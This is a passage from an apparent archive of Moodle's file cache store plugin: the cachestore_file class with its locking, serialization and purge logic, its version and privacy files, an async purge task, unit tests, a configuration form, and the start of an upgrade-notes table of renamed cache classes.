Like how the session mechanisms work. * * @var stdClass */ private $cfg = null; /** @var int Maximum number of seconds to wait for a lock before giving up. */ protected $lockwait = 60; /** * Instance of file_lock_factory configured to create locks in the cache directory. * * @var \core\lock\file_lock_factory $lockfactory */ protected $lockfactory = null; /** * List of current locks. * * @var array $locks */ protected $locks = []; /** * Serializer for this store. * * @var string */ protected $serializer = self::SERIALIZER_PHP; /** * Determine if igbinary functions are available for use. * * @return boolean */ public static function igbinary_available(): bool { return function_exists('igbinary_serialize'); } /** * Gets an array of options to use as the serialiser. * * @return array */ public static function config_get_serializer_options(): array { $options = [ self::SERIALIZER_PHP => get_string('serializer_php', 'cachestore_file'), ]; if (self::igbinary_available()) { $options[self::SERIALIZER_IGBINARY] = get_string('serializer_igbinary', 'cachestore_file'); } return $options; } /** * Constructs the store instance. * * Noting that this function is not an initialisation. It is used to prepare the store for use. * The store will be initialised when required and will be provided with a definition at that time. * * @param string $name * @param array $configuration */ public function __construct($name, array $configuration = array()) { global $CFG; if (isset($CFG)) { // Hold onto a reference of the global $CFG object. $this->cfg = $CFG; } $this->name = $name; if (array_key_exists('path', $configuration) && $configuration['path'] !== '') { $this->custompath = true; $this->autocreate = !empty($configuration['autocreate']); $path = (string)$configuration['path']; if (!is_dir($path)) { if ($this->autocreate) { if (!make_writable_directory($path, false)) { $path = false; debugging('Error trying to autocreate file store path. '.$path, DEBUG_DEVELOPER); } } else { $path = false; debugging('The given file cache store path does not exist. '.$path, DEBUG_DEVELOPER); } } if ($path !== false && !is_writable($path)) { $path = false; debugging('The file cache store path is not writable for `'.$name.'`', DEBUG_DEVELOPER); } } else { $path = make_cache_directory('cachestore_file/'.preg_replace('#[^a-zA-Z0-9\.\-_]+#', '', $name)); } $this->isready = $path !== false; $this->filestorepath = $path; // This will be updated once the store has been initialised for a definition. $this->path = $path; // Check if we should prescan the directory. if (array_key_exists('prescan', $configuration)) { $this->prescan = (bool)$configuration['prescan']; } else { // Default is no, we should not prescan. $this->prescan = false; } // Check if we should be storing in a single directory. if (array_key_exists('singledirectory', $configuration)) { $this->singledirectory = (bool)$configuration['singledirectory']; } else { // Default: No, we will use multiple directories. $this->singledirectory = false; } // Check if directory needs to be purged asynchronously. if (array_key_exists('asyncpurge', $configuration)) { $this->asyncpurge = (bool)$configuration['asyncpurge']; } else { $this->asyncpurge = false; } // Leverage cachelock_file to provide native locking, to avoid duplicating logic. // This will store locks alongside the cache, so local cache uses local locks. $lockdir = $path . '/filelocks'; if (!file_exists($lockdir)) { make_writable_directory($lockdir); } if (array_key_exists('lockwait', $configuration)) { $this->lockwait = (int)$configuration['lockwait']; } $this->lockfactory = new \core\lock\file_lock_factory('cachestore_file', $lockdir); if (!$this->lockfactory->is_available()) { // File locking is disabled in config, fall back to default lock factory. $this->lockfactory = \core\lock\lock_config::get_lock_factory('cachestore_file'); } // Set the serializer to use based on configuration. if (array_key_exists('serializer', $configuration)) { $this->serializer = (string)$configuration['serializer']; } } /** * Performs any necessary operation when the file store instance has been created. */ public function instance_created() { if ($this->isready && !$this->prescan) { // It is supposed the store instance to expect an empty folder. $this->purge_all_definitions(); } } /** * Returns true if this store instance is ready to be used. * @return bool */ public function is_ready() { return $this->isready; } /** * Returns true once this instance has been initialised. * * @return bool */ public function is_initialised() { return true; } /** * Returns the supported features as a combined int. * * @param array $configuration * @return int */ public static function get_supported_features(array $configuration = array()) { $supported = self::SUPPORTS_DATA_GUARANTEE + self::SUPPORTS_NATIVE_TTL + self::IS_SEARCHABLE + self::DEREFERENCES_OBJECTS; return $supported; } /** * Returns false as this store does not support multiple identifiers. * (This optional function is a performance optimisation; it must be * consistent with the value from get_supported_features.) * * @return bool False */ public function supports_multiple_identifiers() { return false; } /** * Returns the supported modes as a combined int. * * @param array $configuration * @return int */ public static function get_supported_modes(array $configuration = array()) { return self::MODE_APPLICATION + self::MODE_SESSION; } /** * Returns true if the store requirements are met. * * @return bool */ public static function are_requirements_met() { return true; } /** * Returns true if the given mode is supported by this store. * * @param int $mode One of store::MODE_* * @return bool */ public static function is_supported_mode($mode) { return ($mode === static::MODE_APPLICATION || $mode === static::MODE_SESSION); } /** * Initialises the cache. * * Once this has been done the cache is all set to be used. * * @param definition $definition */ public function initialise(definition $definition) { global $CFG; $this->definition = $definition; $hash = preg_replace('#[^a-zA-Z0-9]+#', '_', $this->definition->get_id()); $this->path = $this->filestorepath.'/'.$hash; make_writable_directory($this->path, false); if ($this->asyncpurge) { $timestampfile = $this->path . '/.lastpurged'; if (!file_exists($timestampfile)) { touch($timestampfile); @chmod($timestampfile, $CFG->filepermissions); } $cacherev = gmdate("YmdHis", filemtime($timestampfile)); // Update file path with new cache revision. $this->path .= '/' . $cacherev; make_writable_directory($this->path, false); } if ($this->prescan && $definition->get_mode() !== self::MODE_REQUEST) { $this->prescan = false; } if ($this->prescan) { $this->prescan_keys(); } } /** * Pre-scan the cache to see which keys are present. */ protected function prescan_keys() { $files = glob($this->glob_keys_pattern(), GLOB_MARK | GLOB_NOSORT); if (is_array($files)) { foreach ($files as $filename) { $this->keys[basename($filename)] = filemtime($filename); } } } /** * Gets a pattern suitable for use with glob to find all keys in the cache. * * @param string $prefix A prefix to use. * @return string The pattern. */ protected function glob_keys_pattern($prefix = '') { if ($this->singledirectory) { return $this->path . '/'.$prefix.'*.cache'; } else { return $this->path . '/*/'.$prefix.'*.cache'; } } /** * Returns the file path to use for the given key. * * @param string $key The key to generate a file path for. * @param bool $create If set to the true the directory structure the key requires will be created. * @return string The full path to the file that stores a particular cache key. */ protected function file_path_for_key($key, $create = false) { if ($this->singledirectory) { // Its a single directory, easy, just the store instances path + the file name. return $this->path . '/' . $key . '.cache'; } else { // We are using a single subdirectory to achieve 1 level. // We suffix the subdir so it does not clash with any windows // reserved filenames like 'con'. $subdir = substr($key, 0, 3) . '-cache'; $dir = $this->path . '/' . $subdir; if ($create) { // Create the directory. This function does it recursivily! make_writable_directory($dir, false); } return $dir . '/' . $key . '.cache'; } } /** * Retrieves an item from the cache store given its key. * * @param string $key The key to retrieve * @return mixed The data that was associated with the key, or false if the key did not exist. */ public function get($key) { $this->lastiobytes = 0; $filename = $key.'.cache'; $file = $this->file_path_for_key($key); $ttl = $this->definition->get_ttl(); $maxtime = 0; if ($ttl) { $maxtime = cache::now() - $ttl; } $readfile = false; if ($this->prescan && array_key_exists($filename, $this->keys)) { if ((!$ttl || $this->keys[$filename] >= $maxtime) && file_exists($file)) { $readfile = true; } else { $this->delete($key); } } else if (file_exists($file) && (!$ttl || filemtime($file) >= $maxtime)) { $readfile = true; } if (!$readfile) { return false; } // Open ensuring the file for reading in binary format. if (!$handle = fopen($file, 'rb')) { return false; } // Note: There is no need to perform any file locking here. // The cache file is only ever written to in the `write_file` function, where it does so by writing to a temp // file and performing an atomic rename of that file. The target file is never locked, so there is no benefit to // obtaining a lock (shared or exclusive) here. $data = ''; // Read the data in 1Mb chunks. Small caches will not loop more than once. We don't use filesize as it may // be cached with a different value than what we need to read from the file. do { $data .= fread($handle, 1048576); } while (!feof($handle)); $this->lastiobytes = strlen($data); if ($this->lastiobytes == 0) { // Potentially statcache is stale. File can be deleted, let's clear cache and recheck. clearstatcache(true, $file); if (!file_exists($file)) { // It's a completely normal condition. Just ignore and keep going. return false; } } // Return it unserialised. return $this->prep_data_after_read($data, $file); } /** * Retrieves several items from the cache store in a single transaction. * * If not all of the items are available in the cache then the data value for those that are missing will be set to false. * * @param array $keys The array of keys to retrieve * @return array An array of items from the cache. There will be an item for each key, those that were not in the store will * be set to false. */ public function get_many($keys) { $result = array(); $total = 0; foreach ($keys as $key) { $result[$key] = $this->get($key); $total += $this->lastiobytes; } $this->lastiobytes = $total; return $result; } /** * Gets bytes read by last get() or get_many(), or written by set() or set_many(). * * @return int Bytes read or written * @since Moodle 4.0 */ public function get_last_io_bytes(): int { return $this->lastiobytes; } /** * Deletes an item from the cache store. * * @param string $key The key to delete. * @return bool Returns true if the operation was a success, false otherwise. */ public function delete($key) { $filename = $key.'.cache'; $file = $this->file_path_for_key($key); if (file_exists($file) && @unlink($file)) { unset($this->keys[$filename]); return true; } return false; } /** * Deletes several keys from the cache in a single action. * * @param array $keys The keys to delete * @return int The number of items successfully deleted. */ public function delete_many(array $keys) { $count = 0; foreach ($keys as $key) { if ($this->delete($key)) { $count++; } } return $count; } /** * Sets an item in the cache given its key and data value. * * @param string $key The key to use. * @param mixed $data The data to set. * @return bool True if the operation was a success false otherwise. */ public function set($key, $data) { $this->ensure_path_exists(); $filename = $key.'.cache'; $file = $this->file_path_for_key($key, true); $serialized = $this->prep_data_before_save($data); $this->lastiobytes = strlen($serialized); $result = $this->write_file($file, $serialized); if (!$result) { // Couldn't write the file. return false; } // Record the key if required. if ($this->prescan) { $this->keys[$filename] = cache::now() + 1; } // Return true.. it all worked **miracles**. return true; } /** * Prepares data to be stored in a file. * * @param mixed $data * @return string */ protected function prep_data_before_save($data) { return $this->serialize($data); } /** * Prepares the data it has been read from the cache. Undoing what was done in prep_data_before_save. * * @param string $data * @param string $path * @return mixed */ protected function prep_data_after_read($data, $path) { $result = @$this->unserialize($data); if ($result === false && $data != @$this->serialize(false)) { debugging('Failed to unserialise data from cache file: ' . $path . '. Data: ' . $data, DEBUG_DEVELOPER); return false; } return $result; } /** * Sets many items in the cache in a single transaction. * * @param array $keyvaluearray An array of key value pairs. Each item in the array will be an associative array with two * keys, 'key' and 'value'. * @return int The number of items successfully set. It is up to the developer to check this matches the number of items * sent ... if they care that is. */ public function set_many(array $keyvaluearray) { $count = 0; $totaliobytes = 0; foreach ($keyvaluearray as $pair) { if ($this->set($pair['key'], $pair['value'])) { $totaliobytes += $this->lastiobytes; $count++; } } $this->lastiobytes = $totaliobytes; return $count; } /** * Checks if the store has a record for the given key and returns true if so. * * @param string $key * @return bool */ public function has($key) { $filename = $key.'.cache'; $maxtime = cache::now() - $this->definition->get_ttl(); if ($this->prescan) { return array_key_exists($filename, $this->keys) && $this->keys[$filename] >= $maxtime; } $file = $this->file_path_for_key($key); return (file_exists($file) && ($this->definition->get_ttl() == 0 || filemtime($file) >= $maxtime)); } /** * Returns true if the store contains records for all of the given keys. * * @param array $keys * @return bool */ public function has_all(array $keys) { foreach ($keys as $key) { if (!$this->has($key)) { return false; } } return true; } /** * Returns true if the store contains records for any of the given keys. * * @param array $keys * @return bool */ public function has_any(array $keys) { foreach ($keys as $key) { if ($this->has($key)) { return true; } } return false; } /** * Purges the cache definition deleting all the items within it. * * @return boolean True on success. False otherwise. */ public function purge() { global $CFG; if ($this->isready) { // If asyncpurge = true, create a new cache revision directory and adhoc task to delete old directory. if ($this->asyncpurge && isset($this->definition)) { $hash = preg_replace('#[^a-zA-Z0-9]+#', '_', $this->definition->get_id()); $filepath = $this->filestorepath . '/' . $hash; $timestampfile = $filepath . '/.lastpurged'; if (file_exists($timestampfile)) { $oldcacherev = gmdate("YmdHis", filemtime($timestampfile)); $oldcacherevpath = $filepath . '/' . $oldcacherev; // Delete old cache revision file. @unlink($timestampfile); // Create adhoc task to delete old cache revision folder. $purgeoldcacherev = new \cachestore_file\task\asyncpurge(); $purgeoldcacherev->set_custom_data(['path' => $oldcacherevpath]); \core\task\manager::queue_adhoc_task($purgeoldcacherev); } touch($timestampfile, time()); @chmod($timestampfile, $CFG->filepermissions); $newcacherev = gmdate("YmdHis", filemtime($timestampfile)); $filepath .= '/' . $newcacherev; make_writable_directory($filepath, false); } else { $files = glob($this->glob_keys_pattern(), GLOB_MARK | GLOB_NOSORT); if (is_array($files)) { foreach ($files as $filename) { @unlink($filename); } } $this->keys = []; } } return true; } /** * Purges all the cache definitions deleting all items within them. * * @return boolean True on success. False otherwise. */ protected function purge_all_definitions() { // Warning: limit the deletion to what file store is actually able // to create using the internal {@link purge()} providing the // {@link $path} with a wildcard to perform a purge action over all the definitions. $currpath = $this->path; $this->path = $this->filestorepath.'/*'; $result = $this->purge(); $this->path = $currpath; return $result; } /** * Given the data from the add instance form this function creates a configuration array. * * @param stdClass $data * @return array */ public static function config_get_configuration_array($data) { $config = array(); if (isset($data->path)) { $config['path'] = $data->path; } if (isset($data->autocreate)) { $config['autocreate'] = $data->autocreate; } if (isset($data->singledirectory)) { $config['singledirectory'] = $data->singledirectory; } if (isset($data->prescan)) { $config['prescan'] = $data->prescan; } if (isset($data->asyncpurge)) { $config['asyncpurge'] = $data->asyncpurge; } if (isset($data->lockwait)) { $config['lockwait'] = $data->lockwait; } if (isset($data->serializer)) { $config['serializer'] = $data->serializer; } return $config; } /** * Allows the cache store to set its data against the edit form before it is shown to the user. * * @param moodleform $editform * @param array $config */ public static function config_set_edit_form_data(moodleform $editform, array $config) { $data = array(); if (!empty($config['path'])) { $data['path'] = $config['path']; } if (isset($config['autocreate'])) { $data['autocreate'] = (bool)$config['autocreate']; } if (isset($config['singledirectory'])) { $data['singledirectory'] = (bool)$config['singledirectory']; } if (isset($config['prescan'])) { $data['prescan'] = (bool)$config['prescan']; } if (isset($config['asyncpurge'])) { $data['asyncpurge'] = (bool)$config['asyncpurge']; } if (isset($config['lockwait'])) { $data['lockwait'] = (int)$config['lockwait']; } if (isset($config['serializer'])) { $data['serializer'] = (string)$config['serializer']; } $editform->set_data($data); } /** * Checks to make sure that the path for the file cache exists. * * @return bool * @throws coding_exception */ protected function ensure_path_exists() { global $CFG; if (!is_writable($this->path)) { if ($this->custompath && !$this->autocreate) { throw new coding_exception('File store path does not exist. It must exist and be writable by the web server.'); } $createdcfg = false; if (!isset($CFG)) { // This can only happen during destruction of objects. // A cache is being used within a destructor, php is ending a request and $CFG has // already being cleaned up. // Rebuild $CFG with directory permissions just to complete this write. $CFG = $this->cfg; $createdcfg = true; } if (!make_writable_directory($this->path, false)) { throw new coding_exception('File store path does not exist and can not be created.'); } if ($createdcfg) { // We re-created it so we'll clean it up. unset($CFG); } } return true; } /** * Performs any necessary clean up when the file store instance is being deleted. * * 1. Purges the cache directory. * 2. Deletes the directory we created for the given definition. */ public function instance_deleted() { $this->purge_all_definitions(); @rmdir($this->filestorepath); } /** * Generates an instance of the cache store that can be used for testing. * * Returns an instance of the cache store, or false if one cannot be created. * * @param definition $definition * @return cachestore_file */ public static function initialise_test_instance(definition $definition) { $name = 'File test'; $path = make_cache_directory('cachestore_file_test'); $cache = new cachestore_file($name, array('path' => $path)); if ($cache->is_ready()) { $cache->initialise($definition); } return $cache; } /** * Generates the appropriate configuration required for unit testing. * * @return array Array of unit test configuration data to be used by initialise(). */ public static function unit_test_configuration() { return array(); } /** * Writes your madness to a file. * * There are several things going on in this function to try to ensure what we don't end up with partial writes etc. * 1. Files for writing are opened with the mode xb, the file must be created and can not already exist. * 2. Renaming, data is written to a temporary file, where it can be verified using md5 and is then renamed. * * @param string $file Absolute file path * @param string $content The content to write. * @return bool */ protected function write_file($file, $content) { // Generate a temp file that is going to be unique. We'll rename it at the end to the desired file name. // in this way we avoid partial writes. $path = dirname($file); while (true) { $tempfile = $path.'/'.uniqid(sesskey().'.', true) . '.temp'; if (!file_exists($tempfile)) { break; } } // Open the file with mode=x. This acts to create and open the file for writing only. // If the file already exists this will return false. // We also force binary. $handle = @fopen($tempfile, 'xb+'); if ($handle === false) { // File already exists... lock already exists, return false. return false; } fwrite($handle, $content); fflush($handle); // Close the handle, we're done. fclose($handle); if (md5_file($tempfile) !== md5($content)) { // The md5 of the content of the file must match the md5 of the content given to be written. @unlink($tempfile); return false; } // Finally rename the temp file to the desired file, returning the true|false result. $result = rename($tempfile, $file); @chmod($file, $this->cfg->filepermissions); if (!$result) { // Failed to rename, don't leave files lying around. @unlink($tempfile); } return $result; } /** * Returns the name of this instance. * @return string */ public function my_name() { return $this->name; } /** * Finds all of the keys being used by this cache store instance. * * @return array */ public function find_all() { $this->ensure_path_exists(); $files = glob($this->glob_keys_pattern(), GLOB_MARK | GLOB_NOSORT); $return = array(); if ($files === false) { return $return; } foreach ($files as $file) { $return[] = substr(basename($file), 0, -6); } return $return; } /** * Finds all of the keys whose keys start with the given prefix. * * @param string $prefix */ public function find_by_prefix($prefix) { $this->ensure_path_exists(); $prefix = preg_replace('#(\*|\?|\[)#', '[$1]', $prefix); $files = glob($this->glob_keys_pattern($prefix), GLOB_MARK | GLOB_NOSORT); $return = array(); if ($files === false) { return $return; } foreach ($files as $file) { // Trim off ".cache" from the end. $return[] = substr(basename($file), 0, -6); } return $return; } /** * Gets total size for the directory used by the cache store. * * @return int Total size in bytes */ public function store_total_size(): ?int { return get_directory_size($this->filestorepath); } /** * Gets total size for a specific cache. * * With the file cache we can just look at the directory listing without having to * actually load any files, so the $samplekeys parameter is ignored. * * @param int $samplekeys Unused * @return stdClass Cache details */ public function cache_size_details(int $samplekeys = 50): stdClass { $result = (object)[ 'supported' => true, 'items' => 0, 'mean' => 0, 'sd' => 0, 'margin' => 0 ]; // Find all the files in this cache. $this->ensure_path_exists(); $files = glob($this->glob_keys_pattern(), GLOB_MARK | GLOB_NOSORT); if ($files === false || count($files) === 0) { return $result; } // Get the sizes and count of files. $sizes = []; foreach ($files as $file) { $result->items++; $sizes[] = filesize($file); } // Work out mean and standard deviation. $total = array_sum($sizes); $result->mean = $total / $result->items; $squarediff = 0; foreach ($sizes as $size) { $squarediff += ($size - $result->mean) ** 2; } $squarediff /= $result->items; $result->sd = sqrt($squarediff); return $result; } /** * Use lock factory to determine the lock state. * * @param string $key Lock identifier * @param string $ownerid Cache identifier * @return bool|null */ public function check_lock_state($key, $ownerid): ?bool { if (!array_key_exists($key, $this->locks)) { return null; // Lock does not exist. } if (!array_key_exists($ownerid, $this->locks[$key])) { return false; // Lock exists, but belongs to someone else. } if ($this->locks[$key][$ownerid] instanceof \core\lock\lock) { return true; // Lock exists, and we own it. } // Try to get the lock with an immediate timeout. If this succeeds, the lock does not currently exist. $lock = $this->lockfactory->get_lock($key, 0); if ($lock) { // Lock was not already held. $lock->release(); return null; } else { // Lock is held by someone else. return false; } } /** * Use lock factory to acquire a lock. * * @param string $key Lock identifier * @param string $ownerid Cache identifier * @return bool */ public function acquire_lock($key, $ownerid): bool { $lock = $this->lockfactory->get_lock($key, $this->lockwait); if ($lock) { $this->locks[$key][$ownerid] = $lock; } return (bool)$lock; } /** * Use lock factory to release a lock. * * @param string $key Lock identifier * @param string $ownerid Cache identifier * @return bool */ public function release_lock($key, $ownerid): bool { if (!array_key_exists($key, $this->locks)) { return false; // No lock to release. } if (!array_key_exists($ownerid, $this->locks[$key])) { return false; // Tried to release someone else's lock. } $unlocked = $this->locks[$key][$ownerid]->release(); if ($unlocked) { unset($this->locks[$key]); } return $unlocked; } /** * Serializes the data according to the configured serializer. * * @param mixed $value * @return string */ protected function serialize($value): string { switch ($this->serializer) { case self::SERIALIZER_PHP: return serialize($value); case self::SERIALIZER_IGBINARY: if (self::igbinary_available()) { return igbinary_serialize($value); } } debugging("Unknown or unavailable serializer {$this->serializer}"); return serialize($value); } /** * Unserializes the data according to the configured serializer. * * @param mixed $value * @return mixed */ protected function unserialize($value) { switch ($this->serializer) { case self::SERIALIZER_PHP: return unserialize($value); case self::SERIALIZER_IGBINARY: if (self::igbinary_available()) { return igbinary_unserialize($value); } } debugging("Unknown or unavailable serializer: {$this->serializer}"); return unserialize($value); } } stores/file/version.php000064400000002342152265337610011213 0ustar00. /** * Cache file store version information. * * This is used as a default cache store within the Cache API. It should never be deleted. * * @package cachestore_file * @category cache * @copyright 2012 Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die; $plugin->version = 2025041400; // The current module version (Date: YYYYMMDDXX). $plugin->requires = 2025040800; // Requires this Moodle version. $plugin->component = 'cachestore_file'; // Full name of the plugin.stores/file/classes/privacy/provider.php000064400000003002152265337610014464 0ustar00. /** * Privacy Subsystem implementation for cachestore_file. * * @package cachestore_file * @copyright 2018 Andrew Nicols * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ namespace cachestore_file\privacy; defined('MOODLE_INTERNAL') || die(); /** * Privacy Subsystem for cachestore_file implementing null_provider. * * @copyright 2018 Andrew Nicols * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class provider implements \core_privacy\local\metadata\null_provider { /** * Get the language string identifier with the component's language * file to explain why this plugin stores no data. * * @return string */ public static function get_reason(): string { return 'privacy:metadata'; } } stores/file/classes/task/asyncpurge.php000064400000003321152265337610014303 0ustar00. namespace cachestore_file\task; /** * Task deletes old cache revision directory. * * @package cachestore_file * @copyright Catalyst IT Europe Ltd 2021 * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later * @author Jackson D'Souza */ class asyncpurge extends \core\task\adhoc_task { /** * Executes the scheduled task. * * @return boolean True if old cache revision directory exists and is deleted. False otherwise. */ public function execute(): bool { $returnvar = true; $output = 'Cleaning up file store old cache revision directory:' . PHP_EOL; $data = $this->get_custom_data(); if (is_dir($data->path)) { remove_dir($data->path); $output .= 'Directory deleted: ' . $data->path; } else { $output .= 'Directory not found: ' . $data->path; $returnvar = false; } if (!PHPUNIT_TEST) { mtrace($output); } return $returnvar; } } stores/file/tests/store_test.php000064400000012426152265337610013067 0ustar00. namespace cachestore_file; use core_cache\definition; use core_cache\store; use cachestore_file; defined('MOODLE_INTERNAL') || die(); // Include the necessary evils. global $CFG; require_once($CFG->dirroot.'/cache/tests/fixtures/stores.php'); require_once($CFG->dirroot.'/cache/stores/file/lib.php'); /** * File unit test class. * * @package cachestore_file * @copyright 2013 Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later * @covers \cachestore_file */ final class store_test extends \cachestore_tests { /** * Returns the file class name * @return string */ protected function get_class_name() { return 'cachestore_file'; } /** * Provider for set/get tests with all combinations of serializer. * * @return array */ public static function getset_serialization_test_provider(): array { $data = [ [ 'PHP serializer', \cachestore_file::SERIALIZER_PHP, ], ]; if (function_exists('igbinary_serialize')) { $data[] = [ 'Igbinary serializer', \cachestore_file::SERIALIZER_IGBINARY, ]; } return $data; } /** * Test get and set function correctly with all combinations of serializer. * * @dataProvider getset_serialization_test_provider * @param string $name * @param string $serializer */ public function test_getset_serialization(string $name, string $serializer): void { $definition = definition::load_adhoc(store::MODE_APPLICATION, 'cachestore_file', 'phpunit_test'); $store = new \cachestore_file('Test', ['serializer' => $serializer]); $store->initialise($definition); $originalvalue = 'value12345'; $store->set('key', $originalvalue); $unserializedvalue = $store->get('key'); self::assertSame($originalvalue, $unserializedvalue, "Invalid serialisation/unserialisation for: {$name}"); } /** * Testing cachestore_file::get with prescan enabled and with * deleting the cache between the prescan and the call to get. * * The deleting of cache simulates some other process purging * the cache. */ public function test_cache_get_with_prescan_and_purge(): void { global $CFG; $definition = definition::load_adhoc(store::MODE_REQUEST, 'cachestore_file', 'phpunit_test'); $name = 'File test'; $path = make_cache_directory('cachestore_file_test'); $cache = new cachestore_file($name, array('path' => $path, 'prescan' => true)); $cache->initialise($definition); $cache->set('testing', 'value'); $path = make_cache_directory('cachestore_file_test'); $cache = new cachestore_file($name, array('path' => $path, 'prescan' => true)); $cache->initialise($definition); // Let's pretend that some other process purged caches. remove_dir($CFG->cachedir.'/cachestore_file_test', true); make_cache_directory('cachestore_file_test'); $cache->get('testing'); } /** * Tests the get_last_read byte count. */ public function test_get_last_io_bytes(): void { $definition = definition::load_adhoc(store::MODE_REQUEST, 'cachestore_file', 'phpunit_test'); $store = new \cachestore_file('Test'); $store->initialise($definition); $store->set('foo', 'bar'); $store->set('frog', 'ribbit'); $store->get('foo'); // It's not 3 bytes, because the data is stored serialized. $this->assertEquals(10, $store->get_last_io_bytes()); $store->get('frog'); $this->assertEquals(13, $store->get_last_io_bytes()); $store->get_many(['foo', 'frog']); $this->assertEquals(23, $store->get_last_io_bytes()); $store->set('foo', 'goo'); $this->assertEquals(10, $store->get_last_io_bytes()); $store->set_many([ ['key' => 'foo', 'value' => 'bar'], ['key' => 'frog', 'value' => 'jump'] ]); $this->assertEquals(21, $store->get_last_io_bytes()); } public function test_lock(): void { $store = new \cachestore_file('Test'); $this->assertTrue($store->acquire_lock('lock', '123')); $this->assertTrue($store->check_lock_state('lock', '123')); $this->assertFalse($store->check_lock_state('lock', '321')); $this->assertNull($store->check_lock_state('notalock', '123')); $this->assertFalse($store->release_lock('lock', '321')); $this->assertTrue($store->release_lock('lock', '123')); } } stores/file/tests/asyncpurge_test.php000064400000006421152265337610014111 0ustar00. namespace cachestore_file; use core_cache\definition; use core_cache\store; use cachestore_file; /** * Async purge support test for File cache. * * @package cachestore_file * @copyright Catalyst IT Europe Ltd 2021 * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later * @author Jackson D'Souza * @coversDefaultClass \cachestore_file */ final class asyncpurge_test extends \advanced_testcase { /** * Testing Asynchronous file store cache purge * * @covers ::initialise * @covers ::set * @covers ::get * @covers ::purge */ public function test_cache_async_purge(): void { $this->resetAfterTest(true); // Cache definition. $definition = definition::load_adhoc(store::MODE_APPLICATION, 'cachestore_file', 'phpunit_test'); // Extra config, set async purge = true. $extraconfig = ['asyncpurge' => true, 'filecacherev' => time()]; $configuration = array_merge(cachestore_file::unit_test_configuration(), $extraconfig); $name = 'File async test'; // Create file cache store. $cache = new cachestore_file($name, $configuration); // Initialise file cache store. $cache->initialise($definition); $cache->set('foo', 'bar'); $this->assertSame('bar', $cache->get('foo')); // Purge this file cache store. $cache->purge(); // Purging file cache store shouldn't purge the data but create a new cache revision directory. $this->assertSame('bar', $cache->get('foo')); $cache->set('foo', 'bar 2'); $this->assertSame('bar 2', $cache->get('foo')); } /** * Testing Adhoc Cron - deletes old cache revision directory * * @covers \cachestore_file\task */ public function test_cache_async_purge_cron(): void { global $CFG, $USER; $this->resetAfterTest(true); $tmpdir = realpath($CFG->tempdir); $directorypath = '/cachefile_store'; $cacherevdir = $tmpdir . $directorypath; // Create cache revision directory. mkdir($cacherevdir, $CFG->directorypermissions, true); // Create / execute adhoc task to delete cache revision directory. $asynctask = new cachestore_file\task\asyncpurge(); $asynctask->set_custom_data(['path' => $cacherevdir]); $asynctask->set_userid($USER->id); \core\task\manager::queue_adhoc_task($asynctask); $asynctask->execute(); // Check if cache revision directory has been deleted. $this->assertDirectoryDoesNotExist($cacherevdir); } } stores/file/addinstanceform.php000064400000005507152265337610012675 0ustar00. /** * Form for adding a file instance. * * @copyright 2012 Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class cachestore_file_addinstance_form extends cachestore_addinstance_form { /** * Adds the desired form elements. */ protected function configuration_definition() { $form = $this->_form; $form->addElement('text', 'path', get_string('path', 'cachestore_file')); $form->setType('path', PARAM_RAW); $form->addHelpButton('path', 'path', 'cachestore_file'); $form->addElement('checkbox', 'autocreate', get_string('autocreate', 'cachestore_file')); $form->setType('autocreate', PARAM_BOOL); $form->addHelpButton('autocreate', 'autocreate', 'cachestore_file'); $form->disabledIf('autocreate', 'path', 'eq', ''); $form->addElement('checkbox', 'singledirectory', get_string('singledirectory', 'cachestore_file')); $form->setType('singledirectory', PARAM_BOOL); $form->addHelpButton('singledirectory', 'singledirectory', 'cachestore_file'); $form->addElement('checkbox', 'prescan', get_string('prescan', 'cachestore_file')); $form->setType('prescan', PARAM_BOOL); $form->addHelpButton('prescan', 'prescan', 'cachestore_file'); $form->addElement('checkbox', 'asyncpurge', get_string('asyncpurge', 'cachestore_file')); $form->setType('asyncpurge', PARAM_BOOL); $form->addHelpButton('asyncpurge', 'asyncpurge', 'cachestore_file'); $form->addElement('text', 'lockwait', get_string('lockwait', 'cachestore_file')); $form->setDefault('lockwait', 60); $form->setType('lockwait', PARAM_INT); $form->addHelpButton('lockwait', 'lockwait', 'cachestore_file'); $serializeroptions = cachestore_file::config_get_serializer_options(); $form->addElement('select', 'serializer', get_string('useserializer', 'cachestore_file'), $serializeroptions); $form->setDefault('serializer', cachestore_file::SERIALIZER_PHP); $form->setType('serializer', PARAM_ALPHA); $form->addHelpButton('serializer', 'useserializer', 'cachestore_file'); } } UPGRADING.md000064400000006444152265337610006430 0ustar00# core_cache (subsystem) Upgrade notes ## 4.5 ### Added - The following classes have been renamed and now support autoloading. Existing classes are currently unaffected. | Old class name | New class name | | --- | --- | | `\cache_definition` | `\core_cache\definition` | | `\cache_request` | `\core_cache\request_cache` | | `\cache_session` | `\core_cache\session_cache` | | `\cache_cached_object` | `\core_cache\cached_object` | | `\cache_config` | `\core_cache\config` | | `\cache_config_writer` | `\core_cache\config_writer` | | `\cache_config_disabled` | `\core_cache\disabled_config` | | `\cache_disabled` | `\core_cache\disabled_cache` | | `\config_writer` | `\core_cache\config_writer` | | `\cache_data_source` | `\core_cache\data_source_interface` | | `\cache_data_source_versionable` | `\core_cache\versionable_data_source_interface` | | `\cache_exception` | `\core_cache\exception/cache_exception` | | `\cache_factory` | `\core_cache\factory` | | `\cache_factory_disabled` | `\core_cache\disabled_factory` | | `\cache_helper` | `\core_cache\helper` | | `\cache_is_key_aware` | `\core_cache\key_aware_cache_interface` | | `\cache_is_lockable` | `\core_cache\lockable_cache_interface` | | `\cache_is_searchable` | `\core_cache\searchable_cache_interface` | | `\cache_is_configurable` | `\core_cache\configurable_cache_interface` | | `\cache_loader` | `\core_cache\loader_interface` | | `\cache_loader_with_locking` | `\core_cache\loader_with_locking_interface` | | `\cache_lock_interface` | `\core_cache\cache_lock_interface` | | `\cache_store` | `\core_cache\store` | | `\cache_store_interface` | `\core_cache\store_interface` | | `\cache_ttl_wrapper` | `\core_cache\ttl_wrapper` | | `\cacheable_object` | `\core_cache\cacheable_object_interface` | | `\cacheable_object_array` | `\core_cache\cacheable_object_array` | | `\cache_definition_mappings_form` | `\core_cache\form/cache_definition_mappings_form` | | `\cache_definition_sharing_form` | 